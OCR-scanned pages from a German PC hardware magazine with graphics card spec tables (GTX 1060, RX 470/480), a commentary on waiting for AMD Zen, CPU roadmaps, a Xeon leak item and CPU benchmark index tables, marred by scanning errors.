Gigabyte | GTX 1060 G1 Gaming 6G 6 GiByte .594 .809 4.007 2 Slots, 2 Lüfter x 8 Po 200 
Gigabyte | GTX 1060 Windforce OC 6G 6 GiByte .556 am 4.007 2 Slots, 2 Lüfter x 6 Pol | unbekannt 
Gigabyte | GTX 1060 Mini ITX OC 6G 6 GiByte 531 .746 4.007 2 Slots, 1 Lüfter х 6 Ро vmtl. 120 
Gigabyte | GTX 1060 Mini ITX 6G 6 GiByte 1.506 .708 4.007 2 Slots, 1 Lüfter 1x 6Po vmtl. 120 
Inno 3D GTX 1060 6GB Black 6 GiByte .569 ‚784 4.104 2 Slots, AiO-Wakü x 8 Po 50 
Inno 3D GTX 1060 6GB iChill ХЗ 6 GiByte 1.569 .784 4.104 2 Slots, 3 Lüfter 1 x 8 Pol 50 
Inno 3D GTX 1060 6GB Gaming 0C 6 GiByte 1.569 .784 4.104 2 Slots, 2 Lüfter 1 x 8 Po 30 
Inno 3D GTX 1060 6GB Twin X2 6 GiByte 1.506 .708 4.007 2 Slots, 2 Lüfter 1 x 6 Pol 20 
Inno 3D GTX 1060 6GB Compact 6 GiByte .506 .708 4.007 2 Slots, 1 Lüfter x 6 Po 20 
KFA2 GTX 1060 6GB EX OC 6 GiByte 1.544 AE 4.007 2 Slots, 2 Lüfter 1x 6 Pol 20 
KFA2 GTX 1060 6GB 0C 6 GiByte 1.518 ‚733 4.007 2 Slots, 2 Lüfter 1 x 6 Po 20 
MSI GTX 1060 Gaming X 6G 6 GiByte 1.569 .784 4.007 2 Slots, 2 Lüfter 1x 8 Pol 200 
MSI GTX 1060 Gaming 6G 6 GiByte .518 733 4.007 2 Slots, 2 Lüfter x 8 Po 200 
MSI GTX 1060 Armor 6G OC(V1) 6 GiByte 1.544 .759 4.007 2 Slots, 2 Lüfter 1 x 8 Pol 20 
MSI GTX 1060 6GT OC 6 GiByte 1.544 ‚759 4.007 2 Slots, 2 Lüfter 1 x 6 Po 20 
MSI GTX 1060 6G OC 6 GiByte 1.544 .159 4.007 2 Slots, 1 Lüfter 1 x 6 Pol 120 
Palit GTX 1060 6GB Super Jetstream 6 GiByte .620 .847 4.007 2,5 Slots, 2 Lüfter x 6 Po 20 
Palit GTX 1060 6GB Jetstream 6 GiByte 1.506 .708 4.007 2,5 Slots, 2 Lüfter | 1 x 6 Pol 20 
Palit GTX 1060 6GB Dual 6 GiByte 1.506 ‚708 4.007 2 Slots, 2 Lüfter 1 x 6 Po 20 
PNY GTX 1060 6GB 6 GiByte 1.506 .708 4.007 2 Slots, 2 Lüfter 1 x 6 Pol 20 
Zotac GTX 1060 АМР! 6 GiByte .556 .771 4.007 2 Slots, 2 Lüfter x 6 Po 20 
Zotac GTX 1060 Mini 6 GiByte 1.506 .708 4.007 2 Slots, 1 Lüfter 1 x 6 Pol 120 


Hersteller | Modell Speicher- | GPU-Basistakt | Typ. Boost Speichertakt Kühllósung Strom- | Powerlimit 
kapazität (MHz) (MHz) (MHz) zufuhr (Watt) 

Asus GTX 1060 Dual 03G 3 GiByte 569 ‚785 4.007 2 Slots, 2 Lüfter x 6 Po unbekannt 
Asus GTX 1060 Dual 3G 3 GiByte .506 .708 4.007 2 Slots, 2 Lüfter x 6 Po unbekannt 
EVGA GTX 1060 3GB ЕТ\/+ Gaming 3 GiByte .632 .860 4.007 2 Slots, 2 Lüfter x 8 Po 50 
EVGA GTX 1060 3GB SC Gaming 3 GiByte .607 .835 4.007 2 Slots, 1 Lüfter x 6 Po 20 
EVGA GTX 1060 3GB Gaming 3 GiByte .506 ‚708 4.007 2 Slots, 1 Lüfter x 6 Po 20 
Gainward | GTX 1060 3GB 3 GiByte 506 ‚708 4.007 2 Slots, 2 Lüfter x 6 Po 120 
Gigabyte | GTX 1060 G1 Gaming 3G 3 GiByte .594 .809 4.007 2 Slots, 2 Lüfter x 8 Po vmtl. 200 
Gigabyte | GTX 1060 Windforce OC 3G 3 GiByte .556 771 4.007 2 Slots, 2 Lüfter х 6 Pol | unbekannt 
Gigabyte GTX 1060 Mini ITX OC 3G 3 GiByte ‚531 ‚746 4.007 2 Slots, 1 Lüfter x 6 Po vmtl. 120 
Inno 3D GTX 1060 iChill X3 3GB 3 GiByte 1.569 .784 4.104 2 Slots, 3 Lüfter 1 x 8 Po 50 
Inno 3D GTX 1060 X2 3GB 3 GiByte .506 ‚708 4.007 2 Slots, 2 Lüfter x 6 Po 20 
Inno 3D GTX 1060 3GB Compact 3 GiByte 1.506 .708 4.007 2 Slots, 1 Lüfter 1 x 6 Po 20 
KFA2 GTX 1060 EX OC 3GB 3 GiByte 1.544 ‚759 4.007 2 Slots, 2 Lüfter 1x 6 Po 20 
KFA2 GTX 1060 ОС 3GB 3 GiByte 1.518 133 4.007 2 Slots, 2 Lüfter 1x 6 Po 120 
MSI GTX 1060 Gaming X 3G 3 GiByte 1.569 .784 4.007 2 Slots, 2 Lüfter 1 x 8 Po 200 
MSI GTX 1060 Armor 3G 0CV1 3 GiByte 1.544 2153 4.007 2 Slots, 2 Lüfter 1x 8 Po 20 
MSI GTX 1060 3GT OC 3 GiByte .544 .759 4.007 2 Slots, 2 Lüfter x 6 Po 20 
Palit GTX 1060 Dual 3GB 3 GiByte 1.506 .708 4.007 2 Slots, 2 Lüfter 1x 6 Po 20 
Palit GTX 1060 Storm X 3G 3 GiByte .506 ‚708 4.007 2 Slots, 1 Lüfter x 6 Po 20 
PNY GTX 1060 3GB 3 GiByte 1.506 .708 4.007 2 Slots, 1 Lüfter 1x 6 Po 120 
Zotac GTX 1060 Mini 3GB 3 GiByte 1.506 .708 4.007 2 Slots, 1 Lüfter 1x 6 Po 20 
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nannt werden, und denen, die tat- 
sáchlich hierzulande lieferbar sind. 
Das betrifft unter anderem ein paar 
Modelle des Herstellers XFX sowie 
MSI. Letztgenannter wirbt auf sei- 
ner Internetpräsenz mit diversen 
„Armor“-Versionen der Radeon 
RX 470 und RX 480, hierzulande 
sind diese Karten jedoch nicht im 
Handel. Das bestätigte uns MSI 
Deutschland auf Nachfrage - zu- 
sammen mit der Information, dass 


zumindest die baldige Veröffentli- 
chung einer Radeon RX 470 Armor 
wahrscheinlich sei. 


Große Vielfalt 

Es ist erstaunlich, wie stark sich ei- 
nige Herstellerdesigns der gleichen 
Grafikeinheit - gemeint ist die 
Kombination aus GPU und entspre- 
chendem Speicher - unterschei- 
den. Bei den derzeit für Spieler 
besonders attraktiven Modellen Ra- 


deon RX 470/480 und Geforce GTX 
1060 (3GB/6GB) locken einerseits 
günstige Modelle mit Standardtakt 
und ein- bis zweifacher Belüftung 
und andererseits übertaktete Trip- 
le-Fan-Kolosse wie Asus‘ Strix. In 
der Tabelle haben wir daher auch 
die Anzahl der Lüfter hinterlegt. 
Faustregel: Eine Grafikkarte mit 
drei Lüftern kann niemals kürzer 
als 26-27 Zentimeter sein, während 
sich das beste Verhältnis aus Belüf- 


tung und Abmessungen bei den 
besonders verbreiteten Dual-Fan- 
Grafikkarten einstellt. Bei einfach 
belüfteten Modellen ist die Länge 
nicht eindeutig: Es gibt sowohl ITX- 
taugliche Kompaktversionen - be- 
trifft die GTX 1050 (Ti) - als auch 
einfach belüftete 22-Zentimeter- 
Karten, wie XFX: RX 470 Single- 
Fan. Modelle im Referenzdesign 
mit Radialbelüftung sind ebenfalls 
(noch) verfügbar. (ru) 


Radeon RX 470: Herstellerdesigns in der Übersicht 


Hersteller Modell Speicher- |GPU-Basistakt | Max. GPU- | Speichertakt | Kühllösung | Stromzufuhr | Powerlimit 
kapazität (MHz) Boost (MHz) (MHz) GPU (Watt) 
AMD RX 470 Referenz 4 GiByte 926 .206 3.300 2 Slots, 1 Lüfter x 6-Po 90 
Asus RX 470 Strix O8G Gaming 8 GiByte unbekann 1.250 3.300 2 Slots, 2 Lüfter x 6-Po vmtl. 95 
Asus RX 470 Strix 8G Gaming 8 GiByte unbekann 1.206 3.300 2 Slots, 2 Lüfter x 6-Po vmtl. 95 
Asus RX 470 Strix OAG Gaming 4 GiByte unbekann 1.250 3.300 2 Slots, 2 Lüfter x 6-Po 95 
Gigabyte RX 470 G1 Gaming 4 GiByte unbekann 1.230 3.300 2 Slots, 2 Lüfter x 8-Po 112 
Gigabyte RX 470 Windforce 4G 4 GiByte unbekann 1.206 3.300 2 Slots, 2 Lüfter x 8-Po vmtl. 112 
HIS RX 470 IceQ X? Turbo 4 GiByte 926 .256 3.500 2 Slots, 2 Lüfter x 8-Po 95 
HIS RX 470 IceQ X? OC 4 GiByte 926 1.226 3.500 2 Slots, 2 Lüfter x 8-Po vmtl. 95 
MSI RX 470 Gaming X 8G 8 GiByte unbekann 1.242 3.300 2 Slots, 2 Lüfter x 8-Po 150 
MSI RX 470 Gaming X 4G 4 GiByte unbekann 1.242 3.300 2 Slots, 2 Lüfter x 8-Ро 150 
Powercolor RX 470 Red Devil 4 GiByte unbekann 1.270 3.500 2 Slots, 2 Lüfter x 8-Po unbekann 
Powercolor RX 470 Red Dragon V2 4 GiByte unbekann 1.210 3.300 2 Slots, 1 Lüfter x 6-Po unbekannt 
Powercolor RX 470 Red Dragon 4 GiByte unbekann ‚210 3.300 2 Slots, 2 Lüfter x 6-Po unbekann 
Sapphire RX 470 Nitro+ 8G D5 0C 8 GiByte 1.121 1.260 4.000 2 Slots, 2 Lüfter х 6-Po unbekannt 
Sapphire RX 470 Nitro+ 4G D5 ОС 4 GiByte 1.143 1.260 3.500 2 Slots, 2 Lüfter x 6-Po unbekann 
Sapphire RX 470 4G D5 OC 4 GiByte 957 1.216 3.500 2 Slots, 1 Lüfter x 6-Po vmtl. 90 
XFX RX 470 RS Black Edition 4 GiByte unbekannt 1.256 3.500 2 Slots, 2 Lüfter x 6-Po unbekann 
XFX RX 470 RS 4 GiByte unbekannt 1.226 3.500 2 Slots, 2 Lüfter x 6-Po unbekann 
XFX RX 470 Single Fan 4 GiByte unbekannt .226 3.300 2 Slots, 1 Lüfter x 6-Po unbekann 


Radeon RX 480: Herstellerdesigns in der Übersicht 


Hersteller Modell Speicher- Max. GPU- Speichertakt Kühllösung Stromzufuhr Powerlimit GPU 
kapazität Boost (MHz) (MHz) (Watt) 

AMD RX 480 Referenz 8 GiByte 1.266 4.000 2 Slots, 1 Lüfter x 6-Po 110 
AMD RX 480 Referenz 4 GiByte 1.266 3.500 2 Slots, 1 Lüfter x 6-Po 110 
Asus RX 480 Strix 086 Gaming 8 GiByte 1.310 4.000 2 Slots, 3 Lüfter x 8-Po 130 
Asus RX 480 Strix 8G Gaming 8 GiByte 1.266 4.000 2 Slots, 3 Lüfter x 8-Po 130 
Asus RX 480 Dual 04G 4 GiByte 1.300 3.500 2 Slots, 2 Lüfter x 8-Po unbekann 
Gigabyte RX 480 G1 Gaming 8G 8 GiByte 1.290 4.000 2 Slots, 2 Lüfter 1 x 8-Po unbekann 
Gigabyte RX 480 Windforce 8G 8 GiByte .266 4.000 2 Slots, 2 Lüfter x 8-Po unbekann 
Gigabyte RX 480 G1 Gaming 4G 4 GiByte .290 3.500 2 Slots, 2 Lüfter x 8-Po 130 
Gigabyte RX 480 Windforce 4G 4 GiByte 1.266 3.500 2 Slots, 2 Lüfter x 8-Po unbekann 
HIS RX 480 IceQ X? Roaring Turbo 8 GiByte 1.338 4.000 2 Slots, 2 Lüfter x 8-Ро unbekann 
HIS RX 480 IceQ X? Roaring OC 8 GiByte 1.288 4.000 2 Slots, 2 Lüfter x 8-Po unbekann 
HIS RX 480 IceQ X? OC 8 GiByte 1.288 4.000 2 Slots, 2 Lüfter 1 x 8-Po unbekann 
MSI RX 480 Gaming X 8G 8 GiByte 1.303 4.000 2 Slots, 2 Lüfter x 8-Po 180 
MSI RX 480 Gaming X 4G 4 GiByte 1.303 3.500 2 Slots, 2 Lüfter x 8-Po vmtl. 180 
Powercolor RX 480 Red Devil 8 GiByte 1.330 4.000 2 Slots, 3 Lüfter x 8-Po 150 
Powercolor RX 480 Red Dragon 8GB 8 GiByte .266 4.000 2 Slots, 2 Lüfter x 8-Ро unbekann 
Powercolor RX 480 Red Dragon 4GB 4 GiByte 1.266 3.500 2 Slots, 2 Lüfter x 8-Po unbekann 
Powercolor RX 480 Red Dragon 4GB V2 4 GiByte 1.266 3.500 2 Slots, 1 Lüfter 1 x 8-Po unbekann 
Sapphire RX 480 Nitro+ OC 8G (SKU 11260-01) 8 GiByte 1.342 4.000 2 Slots, 2 Lüfter x 8-Po 150 
Sapphire RX 480 Nitro+ 8G (SKU 11260-07) 8 GiByte 1.306 4.000 2 Slots, 2 Lüfter 1 x 8-Po 150 
Sapphire RX 480 Nitro+ 8G (SKU 11260-10) 8 GiByte 1.276 4.000 2 Slots, 2 Lüfter x 8-Po unbekann 
Sapphire RX 480 Nitro+ 4G OC (SKU: 11260-02) 4 GiByte 1.306 3.500 2 Slots, 2 Lüfter x 8-Po 145 
Sapphire RX 480 Nitro+ 4G (SKU: 11260-09) 4 GiByte 1.276 3.500 2 Slots, 2 Lüfter x 8-Po unbekann 
XFX RX 480 GTR Black Edition 8 GiByte 1.338 4.000 2 Slots, 2 Lüfter 1 x 8-Po 115 
XFX RX 480 GTR 8 GiByte .288 4.000 2 Slots, 2 Lüfter x 8-Po unbekann 
XFX RX 480 RS Edition 8 GiByte 1.288 4.000 2 Slots, 2 Lüfter 1 x 8-Po unbekann 
XFX RX 480 RS Edition 4 GiByte 1.266 3.500 2 Slots, 2 Lüfter x 8-Po unbekann 
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Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Philipp Reuther 
Fachbereich Spiele 
E-Mail: pr@pcgh.de 


Kommentar 


Zen und die Kunst, auf einen Prozessor zu 
warten. 


Wer die herbstlichen Spiele in der vorigen Ausga- 
be sowie in dieser die Battlefield-1-CPU-Bench- 
marks in Augenschein genommen hat, kann 
eventuell nachvollziehen, weshalb ich aktuell kei- 
nen Quadcore-Prozessor mehr empfehlen würde 
— insbesondere mit Blick auf die Zukunft. Es hat 
stark den Anschein, insbesondere in den letzten 
Monaten, als würden Spiele vermehrt auf Achtker- 
ner zugeschnitten werden. 


Nun halte ich die Vierkern-Performance in Battle- 
field 1 für stark verbesserungsfähig beziehungs- 
weise versehentlich versaubeutelt, dennoch sind 
aus meiner Sicht die Vorteile von Achtkernern 
nicht mehr von der Hand zu weisen: Viele der 
jüngsten Spiele laufen nicht nur in einem eher 
wenig praxisnahen CPU-Test in 720p oder gar 
noch niedrigerer Auflösung weitaus besser, tat- 
sächlich sind in einigen Titeln auch in hohen 
Auflösungen noch Unterschiede zwischen einem 
Vier- und Achtkerner mess- und fühlbar. In Battle- 
ield 1 — zugegebenermaßen ein Titel, der zu- 
mindest momentan ausgesprochen auffällig von 
Achtkern-Architekturen profitiert — kann sich eine 
lotte Octacore-CPU bis einschließlich Ultra HD 
von Vierkernern absetzen. 


Doch bevor Sie nun Ihr gesamtes Weihnachtsgeld 
zusammenkratzen, Ihr Auto verkaufen und eine 
Hypothek aufnehmen, um sich einen adäquaten 
ntel-Octacore-Prozessor anzuschaffen, rate ich 
an dieser Stelle noch zu ein wenig Geduld. AMDs 
Zen-Prozessoren erscheinen (hoffentlich) in nicht 
allzu ferner Zukunft. Und ganz gleich, wie sich 
diese schlagen werden, sie werden die Entwick- 
lung weitertreiben — auch Intel wird bald bezahl- 
bare(re) Achtkerner anbieten müssen. Warten Sie 
noch ein Weilchen, in ein paar Monaten kónnen 
Sie wohl zuschlagen und so vielleicht mehrere 
Hundert Euro sparen, sofern AMD nicht auf die 
Idee kommt, Intel-Preise zu verlangen. 
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Zusammenfassung CPU-Roadmaps 


Lange wird der offizielle Launch von AMDs kom- 
mender CPU-Architektur Zen nicht mehr auf sich 
warten lassen - wir fassen zusammen. 


ür künftige FX-Prozessoren befindet sich mit 

Zen eine komplett neue Architektur ohne 
die aktuell eingesetzte Modulbauweise in Ent- 
wicklung. Verantwortlicher Architekt dafür war 
Jim Keller, welcher im August 2012 von Apple 
zurück zu AMD wechselte und bereits für die 
Athlon-XP- und -64Serien mitverantwortlich 
war. Seine Arbeiten am Zen-Design hat er in- 
zwischen erledigt und AMD danach verlassen. 
AMD hat laut eigenen Aussagen lauffähige Chips 
in den Laboren - von denen mindestens einer 
auch bereits vor versammelter Presse demons- 
triert wurde. Der High-End-Desktop-Bereich soll 
priorisiert und mit Achtkern-CPUs als Topmo- 
dellen bedient werden. Wie Intel setzt AMD mit 
Zen auf SMT, kann also zwei Threads pro Kern 
bearbeiten. Man erwartet die Verfügbarkeit ab 
2017, sodass es eine erste Vorstellung konkre- 
ter Produkte auf der CES Anfang Januar geben 
kónnte. 


Sowohl im Desktop- als auch im Mobilbereich 
hat AMD mit Stoney- und Bristol Ridge (s. Seite 
40ff.) einen Zwischenschritt für den Mainstream 
eingelegt, bis Zen-basierte APUs verfügbar sein 


AMDZ AMDZ 
Å seres FX 


UNLOCKED 


Bristol 


Stoney 


Q4/2016 


Ridge Ridge 
(Mobile) (Mobile) 
Architektur: Architektur: 

Excavator+ 


Bristol Summit 


Ridge Ridge 
(Desktop) (Desktop) 
Architektur: 


Excavator+ 
GCN (28 nm) 
RAM: DDR4 


GCN (28 nm) 


Q1/2017 


Architektur: 
Excavator+ Zen 

GCN (28 nm) (14 nm) 
Sockel: AM4 Sockel: AM4 
RAM: DDR4 RAM: DDR4 


Q2/2017 


Q3/2017 


0412017 


2 Raven Ridge "Zen+" 

8 (Mobile+Desktop) (Desktop) 

5 Architektur: Architektur: 
Zen+ GCN Zen 
(16/14 nm) (14 nm) 
Sockel:AM4 Sockel:AM4 


Q2/2018 


RAM: DDR4 


RAM: DDR4 


werden. Beide „Ridge“-Ableger basieren noch 
auf der Excavator-Architektur, wobei Stoney 
Ridge Carrizo-L beziehungsweise Beema im 
Embedded-Segment abgelóst hat und für den 
Low-Power-Ansatz ein CPU-Modul (zwei Integer- 
Kerne) mit maximal drei GCN-Compute-Units 
(192 Shader) vereint. Bristol Ridge gleicht dem 
Carrizo-Vollausbau mit zwei Excavator-Modulen 
(vier Integer-Kerne) sowie acht Compute Units 
(8 x 64 Shader) und ist sowohl für den Desktop 
als auch für Notebooks erschienen. 


Mit Raven Ridge wird die Zen-Architektur 
schließlich Einzug in den Bereich der APUs hal- 
ten. Geplant sind laut aktuellem Kenntnisstand 
zwei Versionen, eine davon bereits mit Interpo- 
ser und High-Bandwidth Memory der zweiten 
Generation. Vier Zen-CPU-Kerne (ein sogenann- 
te CPU-Complex CCX) würden mit 12 bis 16 
GPU-Compute-Units vereint. Unseren Informa- 
tionen zufolge ist mit Raven Ridge allerdings 
erst 2018 zu rechnen. 


In der unten stehenden Grafik haben wir die 
vermuteten Veróffentlichungstermine sowohl 
von AMD (links) als auch von Intel (rechts) ge- 
genübergestellt. Von Intel sind Anfang 2017 die 
Skylake-Refresh-Modelle der Core-i-7000-Reihe 
für den Desktop zu erwarten. (mmy/cs) 


inside 


Hardware 


Kaby Lake-S 
(Desktop) 
14 nm 


Sockel: 1151 


Skylake-X Kaby Lake-X RAM: DDR3/DDR4 
(Desktop) (Desktop) 
14nm 14 пт 
Sockel: 2066 Sockel: 2066 
RAM: DDR4 RAM: DDR4 


Cannon-/Coffee Lake 
14/10 nm 
Sockel: 1151 
RAM: DDR4 
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PCGH-Index: Top 10 APUs 


BESSER > | Normierte Leistung 


PCGH-Index: Top 20 CPUs 


BESSER > | Normierte Leistung Bi Gesamtindex IN Spieleindex IN Anwendungsindex 


Intel Core i7-5775C 100 % 
3,3/1,15 GHz — 4c/8t — GPU 384 ALUs 


- Anno:53/33 ВІ: 73/35  TES:147/62 — WoW:83/39 Lux 713 x264: 5,62 
Preis: Ca. 360 Euro BF4:88/38  F1:94/68 ТЕ:12747 7-7ір:193 185:155 


Intel Core i7-6950X 
3,0 GHz — 10c/20t — PLV 10,9 % 


Preis: Ca. 1.700 Euro 


r KE 
A22:37 G3:193 F1:130 SCH: 40 FCB:24097 727120 BLD:117 х264:61 
ACS:137 DAI:138 ЕС4:90 — TW3:135 3DMP:21430 LR5:90 CB15:1805 yCr: 70 


Intel Core i5-5675C 92,2% 
3,1/1,15 GHz — 4c/4t — GPU 384 ALUs 


Anno: 52/32 ВІ: 70/34 TES: 142/60 WoW: 79/37 Lux:469 x264: 4,53 


Intel Core i7-6900K 
3,2 GHz - 8c/16t- РІМ 15,7 % 


196,8 % 90,7 % 
А22: 36 (3:177 1:124 5С2:38 ЕСВ: 24761 72: 126 ВІР: 143 х264: 72 


4,0/1,15 GHz — 4c/8t — GPU 192 ALUs 


- Аппо:4823 ВІ: 48/01 ТЕЅ: 102/41 — WoW:52/25 Lux:715 — x264:6,82 
Preis: Са. 340 Euro BF4:63/28 Fl:8352 — TR:77/28 7-7ір:194 185:145 


3,0 GHz - 8c/16t — PLV 14,6 % 


Preis: Ca. 1.070 Euro 


Preis Caso T0 Euro BFA:86/38 Е1:91/66 "mia 7-21р:274 185:160 Preis: Ca. 1.100 Euro ` |ACS:136 DAF136 FC4:89 — TW3:135 3DMP:19232 185:93 CB15:1483 yCr: 75 
Intel Core i7-6700K ` ` ` DÉEN Intel Core 17-5960Х |: _ 


Am (3164 F1:115 50:31 — FCB:23164 72:135 BLD:161 х264:81 
ACS:127 DAI:130 FC4:84 TW3:124 3DMP:16203 LR5:108 CB15:1329 yCr:81 


AMD A10-7870K 742% 
3,9/0,87 GHz – 2m/4t — GPU 512 ALUs 


Аппо: 32/24 ВІ: 67/33 TES: 132/57 WoW: 77/37 их: 248 264: 2,66 


Intel Core i7-6800K 
3,4 GHz — 6c/12t- РІМ 33,2 % 


81,6% 


A22:34 (3:154 PID 52:34 FCB:19695 72:170 BLD:186 х264:97 


3,7/0,72 GHz — 2m/4t — GPU 512 ALUs 


Anno: 31/23 ВІ: 62/30 ТЕ: 124/51 WoW: 71/35 Lux:234  x264:2,56 


3,5 GHz — 6c/12t — РІМ 24,3 % 


preis; casto Euro BFA:66/32  F1:80/62 ТА: 84/34 77:439 — LR5:267 Preis: Ca. 440 Euro ACS:130  DAL131 FC4:93 — TW3:118 ЗМР: 15644 LR5: 111 CBI5: 1114 уст: 108 
AMD A10-7850K COO Intel Core i7-5930K | M un, __ 


A22:33  C3:154 F1:105 SC2:32 FCB:19845 72:165 BLD:198 x264: 102 


3,6/0,76 GHz — 2m/4t — GPU 512 ALUs 


- Anno: 29/23 BI:62/29 ТЕ5:93/45 WoW:63/36 Lux:240 x264: 2,48 
Preis: Ca. 105 Euro BF4:6432 Е1: 75/59 TR: 79/31 7-Zip:455 185:288 


3,3 GHz – Ac/8t — PLV 38,1% 


Preis: Ca. 360 Euro 


— REA BEST. EE ТЗ. ZIRAS 27 BEE ACS:127 DAF130 FC4:94 —TW3:119 3DMP:13942 LR5:116 CB15:1086 yCr: 107 
АМР A10-7860K (65W) EE. — intel Core i7-5775C 1 


A22:40 (3:19 Pm SC2:47 — FCB:14590 72:195 BLD:257 x264: 125 
АС5:127 DAF139 FC4:128 TW3:131 ЗОМР: 12278 LR5: 133 CB15:787 yCr 139 


AMD A10-7800 (65W) 66,1% 
3,5/0,72 GHz — 2m/4t — GPU 512 ALUs 


Anno: 30/22 ВІ: 54/27 ТЕ: 113/45 WoW: 73/36 их: 230 x264: 2,44 


Intel Core i7-6700K 
4,0 GHz - 4d8t — РІМ 41,0 % 


79,3 % 


А22:37 @:137 F1:80 SC2:55 КВ:16191 72:195 BLD:222 x264: 102 


3,6/0,76 GHz — 2m/4t — GPU 384 ALUs 


Anno: 28/23 BI: 57/26 TES: 92/42 WoW: 63/34 Lux:246 x264: 2,55 


3,3 GHz — 6c/12t — PLV 35,3 % 


Preis: Ca: ван БЕЗ 0029. a E, Ee E e ACS:120 DAI:133 FC4:124 TW3:119 3DMP:13028 LR5:127 CB15:890 yCr: 106 
AMD A8-7670K ИШ. Intel Core i7-5820K | ШШЕН» ___ 


А22:32 (3:149 F1:102 — SC2:32 КСВ:18880 72168 BLD:203 х264:104 


3,3/0,72 GHz – 2m/4t — GPU 384 ALUs 


Anno:28/21 Bl:57/26 ТЕ: 114/46 — WoW:70/34 Lux 230 х264: 2,44 


3,6 GHz — 6c/12t — PLV 12,8 % 


рек Са 95 Еа BF4:6431 К1:8058 — TR[7608 7-21р:441  LR5:281 Preis: Ca. 395 Euro ACS:122 DAI:129 FCA:92 ТИЗ:115 3DMP:13589 LR5: 119 СВ15: 1022 yCr: 110 
AMD A8-7650K | Er Intel Core i7-agcox | ШШШ | 


64,3% 


A22:31 (3:137 1:102 5С2:25 FCB:19953 72:159 BLD:219 х264:112 


3,1/0,72 GHz — 2m/4t — GPU 384 ALUs 


- Anno: 28/21 Bl:56/25 ТЕ5:111/45 — WoW: 70/33 Lux:229 x264: 2,42 
Preis: Ca. 75 Euro BFA:56/27 nn TR:7027 7-йр:475 1Ң5:302 


3,3 GHz — 6c/12t — PLV 12,9% 


Preis: Ca. 1.000 Euro 


Eres; Caes Fe Phor. E, MRE 7128” E Эр Preis: Ca. 1.050 Euro | Acs:120 DAI:122 FC4:84 ТИЗ:114 3DMP:13914 LR5:114 CB15:1000 yCr: 207 
AMD A8-7600 (65W) | |  . IEEE Intel Core i7-3960x aww | — 


198% 
A (311 nä si FCB:19757 7:163 BLD:235 х264:123 
ACS:118  DAETI8 FC4:83 TW3:112 3DMP:13357 LR5:129 СВ15:955 yCr:215 


Anno 2070/Battlefield 4/Bioshock Infinite/F1 2013/Skyrim/Tomb Raider: Durchschn. Fps in 768p bei 
niedrigen/1080p bei mittleren Details, kein AA/AF; World of Warcraft: Durchschn. Fps in 1080p mit mittl./ 
guten Details, Letzteres inkl. 4x MSAA, kein AF; 7-Zip v9.30: Sek. (kompr. von 3 GB gemischten Daten); Lux- 
mark 2.0: Punkte (Ksamples/s, Sala); Lightroom 5.3: Sek. (30 Raws in JPEG konvertieren, Vorgabe , kraftvoll", 
Standard-Schärfen für Web); x264: Fps (Ultra HD); System: 2x 4 GiB DDR3, Turbo an; Windows 8.1 Pro x64 


Skylake EP: Bis zu 32 Kerne 


Obwohl von Intel nicht einmal offiziell angekündigt, tauchte ein Skylake-EP- 
Modell in Form eines Xeon E5-2699 v5 mit 32 Kernen auf der chinesischen 
Auktionsplattform taobao.com auf. 


MD hat mit dem Multi-Chip-Modul „Naples“ bekanntlich einen 32-ker- 

nigen Zen für Server im 2017er-Programm. Intels Papier-Konter steht 
hingegen noch aus, denn die Xeon-E5-Reihe gab es bislang mit „nur“ 22, 
die Xeon E7-Pendants mit maximal 24 physischen Kernen. Doch kein Ge- 
heimnis ohne Leak und so tauchte kürzlich auf der chinesischen Auktions- 
plattform taobao.com ein Engineering Sample des Xeon E5-2699 v5 auf. 
Der soll 32 Kerne und damit genauso viele wie AMDs Naples-SKU bieten 
- und er braucht wie jener eine neue Plattform. 


Gegenüber dem aktuellen 2699 vá mit seinen 22 Kernen wàre das ein 
deutlicher Fortschritt und auch gegenüber den bisher berichteten 28 
Kernen für Skylake EP ist das noch einmal eine Schippe mehr. Dass Intel 
den E5-2699 v5 jedoch als direkten Naples-Konter geplant hat, ist nicht zu 
vermuten. Vielmehr dürften die Reserve-Kerne ein Fallnetz für die Produk- 
tion sein, liefen die 14-nm-Prozessoren zunächst doch nicht ganz so геї- 
bungslos vom Band wie gedacht. Offenbar hat sich die Situation gebessert, 
sodass Intel seine Partner nun mit den Vorabmodellen für den Marktstart 
versorgt. Platz findet der E5-2699 v5 wie auch der kommende Xeon Phi 
„Knights Landing* im Sockel P mit 3.647 Kontakten - zumindest in diesem 
Bereich hätte der Sockel 2011 damit ausgedient. (cs) 
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Intel Core i7-4790K 
4,0 GHz - 4d8t — РІМ 36,8 % 


Preis: Ca. 345 Euro 


VIN (319 Dn 50:44 FCB:16360 72:197 BLD:231 der 
ACS:110  DAETI3 FC4:113 TW3:105  3DMP: 11924 185: 132 CB15:857 yCr: 128 


Intel Xeon E3-1230 v5 
3,4 GHz – 4d8t – РІМ 44,6 % 


Preis: Ca. 275 Euro 


707% 
A22:31 C3118 F1:75 SCH: 39 FCB:14518 72:221 BLD:248 x264:114 
ACS:109 DAI:115 FC4:112 TW3:105 3DMP:11618 LR5:140 СВ15: 799 yCr:117 


Intel Core i7-4770K 
3,5 GHz - 4d8t - РІМ 33,1 % 


Preis: Ca. 360 Euro 


A22: 30 (3:119 F1:69 SC2: 41 FCB: 15223 7z211 BLD:247 x264: 129 
ACS:105 DAI:107 FC4:108 TW3:101 ЗОМР: 11083 LR5:142 СВ15: 797 yCr: 134 


Intel Core i5-5675C 
3,1 GHz — 4d4t — PLV 35,3 % 


Preis: Ca. 310 Euro 


A22: 39 G3:95 F1:65 SCH: 44 FCB:11377 727279 BLD:387 х264:160 
ACS: 99 DAI:108 FC4:125 TW3:92 3DMP:8339 LR5:140 CB15:567 yCr: 176 


Intel Core i7-4820K 
3,7 GHz - 4d8t - РІМ 31,8% 


Preis: Ca. 340 Euro 


s 


A22:30 | C3:100  F1:78 SC2:25 СВ: 13903 72227 BLD:318 х264:167 
ACS:105 DAI:109 FC4:92 — TW3:100 ЗОМР: 9892 LR5:147 CB15:664 yCr:282 


Intel Core i7-3770K 
3,5 GHz - 4d8t — РІМ 28,6 % 


Preis: Ca. 370 Euro 


a. 
70,4% 


А22:29 (3:102 1:69 SC2:27 СВ: 13908 72: 217 BLD:316 х264: 163 
ACS:100 РАІ: 103 FC4:92 — TW3:95 ЗМР: 9926 185: 154 CB15:679 yCr:292 


Intel Core i5-6600K 
3,5 GHz — 4/41 — РІМ 42,2% 


Preis: Ca. 240 Euro 


——— ш 
437% 


А22:25 (3:89 1:59 SO A0 ЕСВ:11479 72:281 BLD:360 х264: 139 
ACS:89 DAI97  FC4:106 TW3:84 ЗОМР: 8106 1А5: 139 СВ15:611 yCr: 142 


